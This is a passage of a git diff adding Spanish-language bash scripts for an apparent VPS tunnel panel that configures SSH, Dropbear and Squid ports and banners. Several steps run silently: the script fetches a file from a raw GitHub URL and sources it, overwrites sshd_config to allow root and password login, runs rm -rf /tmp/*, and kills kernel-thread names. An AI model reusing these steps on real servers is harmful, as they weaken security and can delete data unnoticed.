cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -aqua) cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}";; + -nazu) cor="${COLOR[6]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nverd) cor="${COLOR[2]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -nama) cor="${COLOR[3]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -verm3) cor="${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -teal) cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -teal2) cor="${COLOR[7]}" && echo -e "${cor}${2}${SEMCOR}";; + -blak) cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blak2) cor="${COLOR[8]}" && echo -e "${cor}${2}${SEMCOR}";; + -blu) cor="${COLOR[9]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -blu1) cor="${COLOR[9]}" && echo -e "${cor}${2}${SEMCOR}";; + -bar) ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar1) ccor="${COLOR[1]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar2) ccor="${COLOR[1]}=====================================================" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar3) ccor="${COLOR[3]}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -bar4) ccor="${COLOR[5]}•••••••••••••••••••••••••••••••••••••••••••••••••" && echo -e "${SEMCOR}${ccor}${SEMCOR}";; + -br) ccor="━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" && echo -e "${ccor}";; + esac +} + +fun_bar () { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +del(){ + for (( i = 0; i < $1; i++ )); do + tput cuu1 && tput dl1 + done +} + +sysctl -w net.ipv6.conf.all.disable_ipv6=1 &> /dev/null +sysctl -w net.ipv6.conf.default.disable_ipv6=1 &> /dev/null +sysctl -w net.ipv6.conf.lo.disable_ipv6=1 &> /dev/null + +[[ -d /bin/ejecutar ]] && { +[[ -e /bin/ejecutar/msg ]] || wget -q -O /bin/ejecutar/msg https://raw.githubusercontent.com/CuervoCool/chukkmod/main/msg-bar/msg +} || mkdir /bin/ejecutar +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" +export -f msg +export -f fun_bar +export -f tittle +export -f enter +export -f back +export -f print_center +export -f in_opcion +export -f del diff --git a/Lista/payloads b/Lista/payloads old mode 100644 new mode 100755 diff --git a/Lista/protos.sh b/Lista/protos.sh new file mode 100755 index 0000000..17a390d --- /dev/null +++ b/Lista/protos.sh @@ -0,0 +1,3935 @@ +#!/bin/bash +source $(pwd)/msg + +_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)" +portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) + +number_var () { +unset var_number +if (echo "$1" | egrep '[^0-9]' &> /dev/null); then +echo -e "${cor[5]} SOLO NUMEROS!" +else +var_number="$1" +fi +} + +sslkk (){ + sslports=`netstat -tunlp | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /ADMcgh/sslports.txt && cat /ADMcgh/sslports.txt`; + pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +} +#par=$(v2ray info | grep path |awk -F : '{print $4}') + +verif_ptrs() { + porta=$1 + PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN") + for pton in $(echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq); do + svcs=$(echo -e "$PT" | grep -w "$pton" | awk '{print $1}' | uniq) + [[ "$porta" = "$pton" ]] && { + echo -e "\n\033[1;31mPUERTO \033[1;33m$porta \033[1;31mESTA EN USO POR \033[1;37m$svcs\033[0m" + sleep 0.5 + return 0 + } + done + } + +fun_log () { +[[ -e /bin/ejecutar/sshd_config ]] && { +#### +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config +} +} || { +cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22\nProtocol 2\nKeyRegenerationInterval 3600\nServerKeyBits 1024\nSyslogFacility AUTH\nLogLevel INFO\nLoginGraceTime 120\nPermitRootLogin yes\nStrictModes yes\nRSAAuthentication yes\nPubkeyAuthentication yes\nIgnoreRhosts yes\nRhostsRSAAuthentication no\nHostbasedAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nPasswordAuthentication yes\nX11Forwarding yes\nX11DisplayOffset 10\nPrintMotd no\nPrintLastLog yes\nTCPKeepAlive yes\n#UseLogin no\nAcceptEnv LANG LC_*\nSubsystem sftp /usr/lib/openssh/sftp-server\nUsePAM yes\nBanner /etc/bannerssh" > /etc/ssh/sshd_config +} +} +###################### + +} + + +ban_inex () { +sleep 0.6 +for i in {1..4}; do tput cuu1&&tput dl1 ; done +sleep 0.5 +msg -bar +printf " %10s [ $(printext 'MODIFICACIÓN DEL BANNER')]\n" +msg -bar +echo -e "$(msg -ama "Puedes modificar rápidamente el banner, solo copia y pega el\ntexto en formato html ó se usará el banner \npredeterminado del script.\n")" +echo -e "\n"&&msg -p "¿Deseas configurar el banner ssh/dropbear? [Ss/Nn]: " 'bdp' +if [[ -z $bdp ]]; then + [[ -e /root/name ]] && credi="$(cat < /root/name)" || credi="${credit}" +else + msg -bar&&credi=`read -p $'\e[1;30m Ingrese su resell: \e[1;32m' ress&&echo -e $ress` +fi +msg -bar +msg -ama 'Recuerda que ingresando a control de usuarios, puedes personalizar aún más el banner en la opción 6' +msg -bar +fun_bar +cat << EOF > /etc/bannerssh +

⚡

+

$credit ® | $credi

+EOF +[[ -d /etc/dropbear ]] && { [[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} || { +mkdir /etc/dropbear +[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} +for i in {1..2};do tput cuu1&&tput dl1 ; done +msg -bar&&print_center -v '[+] BANNER CONFIGURADO EXITOSAMENTE [+]' +enter +dropbearuniversal +} + +function dropbearuniversal(){ +clear&&clear +figlet 'DROPBEAR'|lolcat +msg -bar +echo -ne "\e[1;30m \033[1;34mRESOLVIENDO DROPBEAR ==> SSH " +( +service dropbear stop 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne "\n\033[1;31m[ ! ] VERIFICANDO COMPATIBILIDAD DEL BANNER " && sleep 0.5s && echo -e "\033[1;32m [OK]" +[[ -e /etc/bannerssh ]] && { +#### +fun_log&&sleep 0.4 +for i in `seq 1 4`;do tput cuu1&&tput dl1 ; done +msg -bar&&msg -azu 'INSTALANDO DROPBEAR' +#fun_bar 'apt install dropbear -y' +fun-inst 'dropbear' +service dropbear stop 1> /dev/null 2> /dev/null +msg -bar&&print_center 'INGRESE SU PUERTO DROPBEAR' +msg -bar&&echo -e "\e[1;30mPuertos recomendados => [80,90,110,444,999, etc]"&&msg -bar + while read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: \e[1;36m' puertodropbear; do + if [[ -z $puertodropbear ]]; then + tput cuu1 && tput dl1 + echo -e "\e[1;31m[x] INGRESE UN PUERTO VÁLIDO [x]"&&sleep 0.4 + tput cuu1&&tput dl1;unset puertodropbear&&read -p $'\e[1;30m[+] \e[1;34mPuerto dropbear: \e[1;36m' puertodropbear + else + PortDROP=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $puertodropbear` + [[ -n "$PortDROP" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$puertodropbear"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + unset puertodropbear +# msg -bar + fi + done +msg -bar +echo $puertodropbear > /etc/default/dadd +echo -e 'NO_START=0' > /etc/default/dropbear +echo -e '# the TCP port that Dropbear listens on' >> /etc/default/dropbear +echo -e '#DROPBEAR_PORT=22' >> /etc/default/dropbear +echo -e 'DROPBEAR_EXTRA_ARGS="-p '$puertodropbear'"' >> /etc/default/dropbear +echo -e 'DROPBEAR_BANNER="/etc/dropbear/banner"' >> /etc/default/dropbear +echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear +[[ ! $(cat /etc/shells|grep "/bin/false") ]] || sed -i "s%/bin/false%filemancgh%g" /etc/shells +[[ ! $(cat /etc/shells|grep "/usr/sbin/nologin") ]] || sed -i "s%/usr/sbin/nologin%filemancgh%g" /etc/shells +sed -i "/filemancgh/d" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +[[ ! -e /etc/dropbear/banner ]] && touch /etc/dropbear/banner || cat /etc/bannerssh > /etc/dropbear/banner +service dropbear restart 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`; +service sshd restart 1> /dev/null 2> /dev/null +echo -e "\e[1;37mPUERTO DROPBEAR: \e[1;33m$puertodropbear" +service dropbear start 1> /dev/null 2> /dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $puertodropbear/tcp 1> /dev/null 2> /dev/null +fun_eth +return 0 + } || { +ban_inex +return 1 +} +} + +fun_eth () { +eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}') + [[ $eth != "" ]] && { + msg -bar + echo -e "${cor[3]} Aplicar Sistema Para Mejorar Sistema SSH?" + echo -e "${cor[3]} Opcion Para Usuarios Avanzados" + msg -bar + read -p " [S/N]: " -e -i n sshsn + [[ "$sshsn" = @(s|S|y|Y) ]] && { + echo -e "${cor[1]} Correcion de problemas de paquetes en SSH..." + echo -e " Quota en Entrada" + echo -ne "[ 1 - 999999999 ]: "; read rx + [[ "$rx" = "" ]] && rx="999999999" + echo -e " Quota en Salida" + echo -ne "[ 1 - 999999999 ]: "; read tx + [[ "$tx" = "" ]] && tx="999999999" + apt-get install ethtool -y > /dev/null 2>&1 + ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1 + } + msg -bar + } +} + + + +squid_cache () { +msg -bar +echo -e "${cor[5]} Caché de Squid no es más Que + Un historial de navegación en Squid + Que ahorrará datos al abrir sitios + Alojados en su caché + ¡El script hará una breve comprobación!" +msg -bar +sleep 0.5s +if [ -e /etc/squid/squid.conf ]; then +squid_var="/etc/squid/squid.conf" +elif [ -e /etc/squid3/squid.conf ]; then +squid_var="/etc/squid3/squid.conf" +else +echo -e "${cor[5]} No se ha identificado Squid!" +return 1 +fi +teste_cache="#CACHE DO SQUID" +if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then + [[ -e ${squid_var}.bakk ]] && { + echo -e "${cor[5]} Desactivando SquidCache !!\n ESPERA PORFAVOR !" + mv -f ${squid_var}.bakk $squid_var + echo -e "${cor[5]} COLOCAR ARCHIVO ONLINE" + msg -bar + service squid restart > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + return 0 + } +fi +echo -e "${cor[5]} ¡Squid esta Activo en tu sistema!\n ${cor[5]} No hay servicio de caché en el Squid!\n Activando el servicio SquidCache!" +msg -bar +_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95" +[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid" +while read s_squid; do +[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}" +done < $squid_var +cp ${squid_var} ${squid_var}.bakk +echo -e "${_tmp}" > $squid_var +echo -e "${cor[5]} Reiniciando Servicios Espera!\n ESPERA PORFAVOR!" +msg -bar +service squid restart > /dev/null 2>&1 +service squid3 restart > /dev/null 2>&1 +} + +add_host_squid () { +payload="/etc/payloads" +if [ ! -f "$payload" ]; then +echo -e "${cor[5]} $payload No econtrado" +echo -e "${cor[5]} Squid no instalado" +return +fi +msg -bar +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Añadir NUEEVO Host a Squid" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m${cor[3]} Quitar 1 host de Squid" +msg -bar +read -p " | 1 - 2 |: " var_payload +number_var $var_payload +[[ -z $var_number ]] && echo -e "\033[1;31m Opcion Invalida" && return +[[ $var_payload -gt 2 ]] && echo -e "\033[1;31m Opcion Invalida" && return +[[ "$var_payload" = "1" ]] && { +echo -e "${cor[4]} Añadir Host a Squid" +echo -e "${cor[5]} Dominios actuales en el archivo $payload:" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +echo "Escriba el Host-Squid que desea agregar " +read -p "Iniciando con un ., ejemplo: .whatsapp.net: " hos +if [[ $hos != \.* ]]; then +echo -e "${cor[5]} Iniciando con un ., ejemplo: .whatsapp.net: " +return +fi +host="$hos/" +if [[ -z $host ]]; then +echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!" +return +fi +if [[ `grep -c "^$host" $payload` -eq 1 ]]; then +echo -e "${cor[5]} El dominio ya existe en el archivo" +return +fi +echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload +echo -e "${cor[5]} ¡Éxito, Archivo Actualizado!" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar + if [ ! -f "/etc/init.d/squid" ]; then +service squid3 reload +service squid3 restart + else +/etc/init.d/squid reload +service squid restart + fi +return +} + +[[ $var_payload = 2 ]] && { +echo -e "${cor[4]} Quitar el host de Squid" +echo -e "${cor[5]} Dominios actuales en el archivo $payload:" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar +read -p " $(echo -e "Escriba el dominio que desea quitar\n") Iniciando con un ( . ), ejemplo: .chumogh.net: " hos +if [[ $hos != \.* ]]; then +echo -e "${cor[5]} Iniciando con un ( . ), ejemplo: .chumogh.net" +return +fi +host="$hos/" +if [[ -z $host ]]; then +echo -e "${cor[5]} ¡Esta vacío, no ha escrito nada!" +return +fi +if [[ `grep -c "^$host" $payload` -ne 1 ]]; then +echo -e "${cor[5]} DOMINIO NO ENCONTRADO" +return +fi +grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload +echo -e "${cor[5]} ARCHIVO ACTUALIZADO EXITOSAMENTE!" +msg -bar +cat $payload | awk -F "/" '{print $1,$2,$3,$4}' +msg -bar + if [ ! -f "/etc/init.d/squid" ]; then +service squid3 reload +service squid3 restart + else +/etc/init.d/squid reload +service squid restart + fi +return +} +} + + +add_port(){ + if [[ -e /etc/squid/squid.conf ]]; then + local CONF="/etc/squid/squid.conf" + elif [[ -e /etc/squid3/squid.conf ]]; then + local CONF="/etc/squid3/squid.conf" + fi + local miport=$(cat ${CONF}|grep -w 'http_port'|awk -F ' ' '{print $2}'|tr '\n' ' ') + local line="$(cat ${CONF}|sed -n '/http_port/='|head -1)" + local NEWCONF="$(cat ${CONF}|sed "$line c ADMR_port"|sed '/http_port/d')" + msg -ama "$(echo -e "AGREGAR UN PUERTOS SQUID")" + echo -e " $(msg -verm2 "Ingrese Sus Puertos:") $(msg -verd "80 8080 8799 3128")" + msg -bar + msg -ne " $(echo -e " Digite Puertos"): " && read DPORT + tput cuu1 && tput dl1 + TTOTAL=($DPORT) + for((i=0; i<${#TTOTAL[@]}; i++)); do + [[ $(mportas|grep -v squid|grep -v '>'|grep -w "${TTOTAL[$i]}") = "" ]] && { + echo -e "\033[1;33m Puerto Elegido:\033[1;32m ${TTOTAL[$i]} OK" + PORT="$PORT ${TTOTAL[$i]}" + } || { + echo -e "\033[1;33m Puerto Elegido:\033[1;31m ${TTOTAL[$i]} FAIL" + } + done + [[ -z $PORT ]] && { + msg -bar + msg -verm2 "Ningun Puerto Valido" + return 1 + } + PORT="$miport $PORT" + rm ${CONF} + while read varline; do + if [[ ! -z "$(echo "$varline"|grep 'ADMR_port')" ]]; then + for i in `echo $PORT`; do + echo -e "http_port ${i}" >> ${CONF} + ufw allow $i/tcp &>/dev/null 2>&1 + done + continue + fi + echo -e "${varline}" >> ${CONF} + done <<< "${NEWCONF}" + msg -bar + msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "PUERTOS AGREGADOS")" + return 1 +} + +del_port(){ + squidport=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN"|grep -E 'squid|squid3') + + if [[ $(echo "$squidport"|wc -l) -lt '2' ]];then + clear + msg -bar + msg -ama "Un solo puerto para eliminar\ndesea detener el servicio? " + msg -bar + msg -ne " opcion [S/N]: " && read a + + if [[ "$a" = @(S|s) ]]; then + msg -ama "AGUARDE DETENIEDO SERVICIOS" + [[ -d "/etc/squid/" ]] && { + if service squid stop &> /dev/null ; then + msg -verd "Servicio squid detenido" + else + msg -verm2 "Falla al detener Servicio squid" + fi + } + [[ -d "/etc/squid3/" ]] && { + if service squid3 stop &> /dev/null ; then + msg -verd "Servicio squid3 detenido" + else + msg -verm2 "Falla al detener Servicio squid3" + fi + } + fi + return 1 + fi + + if [[ -e /etc/squid/squid.conf ]]; then + local CONF="/etc/squid/squid.conf" + elif [[ -e /etc/squid3/squid.conf ]]; then + local CONF="/etc/squid3/squid.conf" + fi + msg -ama "Quitar un puertos squid" + n=1 + while read i; do + port=$(echo $i|awk -F ' ' '{print $9}'|cut -d ':' -f2) + echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -azu "$port")" + drop[$n]=$port + num_opc="$n" + let n++ + done <<< $(echo "$squidport") + back + while [[ -z $opc ]]; do + msg -ne " opcion: " + read opc + tput cuu1 && tput dl1 + if [[ -z $opc ]]; then + msg -verm2 " selecciona una opcion entre 1 y $num_opc" + unset opc + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ ! $opc =~ $numero ]]; then + msg -verm2 " selecciona solo numeros entre 1 y $num_opc" + unset opc + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ "$opc" -gt "$num_opc" ]]; then + msg -verm2 " selecciona una opcion entre 1 y $num_opc" + sleep 2 + tput cuu1 && tput dl1 + unset opc + continue + fi + done + sed -i "/http_port ${drop[$opc]}/d" $CONF + msg -azu "$(echo -e "AGUARDE REINICIANDO SERVICIOS")" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "PUERTO REMOVIDO")" + return 1 +} + +restart_squid(){ + msg -ama "AGUARDE REINICIANDO SERVICIOS" + [[ -d "/etc/squid/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid start > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 + } + [[ -d "/etc/squid3/" ]] && { + service ssh restart > /dev/null 2>&1 + /etc/init.d/squid3 start > /dev/null 2>&1 + service squid3 restart > /dev/null 2>&1 + } + sleep 2s + tput cuu1 && tput dl1 + msg -verd "$(echo -e "SERVICIO REINICIANDO")" + return 1 +} + + +#INSTALADOR SQUID +fun_squid () { + +fsqd() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +apt install squid -y &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixsquid +} + +function call.squid() { + sleep .1 + helice() { + fsqd >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mSQUID V3 \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +[[ -e /etc/squid/squid.conf ]] && var_squid="/etc/squid/squid.conf" +[[ -e /etc/squid3/squid.conf ]] && var_squid="/etc/squid3/squid.conf" + + + [[ -e $var_squid ]] && { +echo -e " MENU DE FUNCION SQUID " +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} SQUID CACHE $_cachesquid" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} AGREGAR / REMOVER HOST-SQUID" +echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ${flech} ${cor[3]} AÑADIR UN PUERTO SQUID" +echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ${flech} ${cor[3]} QUITAR UN PUERTO SQUID" +echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESINSTALAR SQUID" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 5) +case ${selection} in +0) +return 0 +;; +1) +squid_cache +return 0 +;; +2) +add_host_squid +return 0 +;; +3) +add_port +return 0 +;; +4) +del_port +return 0 +;; +5) +msg -bar + echo -e "\033[1;32m REMOVIENDO SQUID" + if [[ -e /etc/squid/squid.conf ]]; then + var_squid="/etc/squid/squid.conf" + mipatch="/etc/squid" + elif [[ -e /etc/squid3/squid.conf ]]; then + var_squid="/etc/squid3/squid.conf" + mipatch="/etc/squid3" + fi + [[ -e $var_squid ]] && { + clear + msg -bar + msg -ama "$(echo -e "REMOVIENDO SQUID")" + msg -ama "Aguarde un momento!!!" + msg -bar + [[ -d "/etc/squid" ]] && { + service squid stop > /dev/null 2>&1 + apt-get remove squid -y >/dev/null 2>&1 + apt-get purge squid -y >/dev/null 2>&1 + rm -rf /etc/squid >/dev/null 2>&1 + } + [[ -d "/etc/squid3" ]] && { + service squid3 stop > /dev/null 2>&1 + apt-get remove squid3 -y >/dev/null 2>&1 + apt-get purge squid3 -y >/dev/null 2>&1 + rm -rf /etc/squid3 >/dev/null 2>&1 + } + } + service squid stop > /dev/null 2>&1 + service squid3 stop > /dev/null 2>&1 + echo -e "\033[1;32m Procedimento Concluido" + msg -bar + [[ -e $var_squid ]] && rm $var_squid + return 0 +;; +esac + } + #Reiniciando + service squid3 restart > /dev/null 2>&1 + service squid restart > /dev/null 2>&1 +#Instalar +clear&&clear +msg -bar +echo -e "\033[1;32m INSTALADOR SQUID ChumoGH-Script" +msg -bar +fun_ip +echo -ne " CONFIRME SU IP"; read -p ": " -e -i $IP ip +msg -bar +echo -e " DIJITA TUS PUERTOS EN LA SIGUIENTE SECUENCIA" +echo -e " SECUENCIA DE Ejemplo: 80 8080 3128" +echo -ne " INGRESA TUS PUERTOS: "; read portasx +msg -bar +totalporta=($portasx) +unset PORT + for((i=0; i<${#totalporta[@]}; i++)); do + [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && { + echo -e "\033[1;33m Puertos Escojidos :\033[1;32m ${totalporta[$i]} OK" + PORT+="${totalporta[$i]}\n" + [[ -f "/usr/sbin/ufw" ]] && ufw allow ${totalporta[$i]}/tcp 1> /dev/null 2> /dev/null + } || { + echo -e "\033[1;33m Puertos Escojidos :\033[1;31m ${totalporta[$i]} FAIL" + } + done + [[ "$(echo -e $PORT)" = "" ]] && { + echo -e "\033[1;31m No se ha elegido ningún puerto válido\033[0m" + return 1 + } + +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +msg -bar +echo -e " 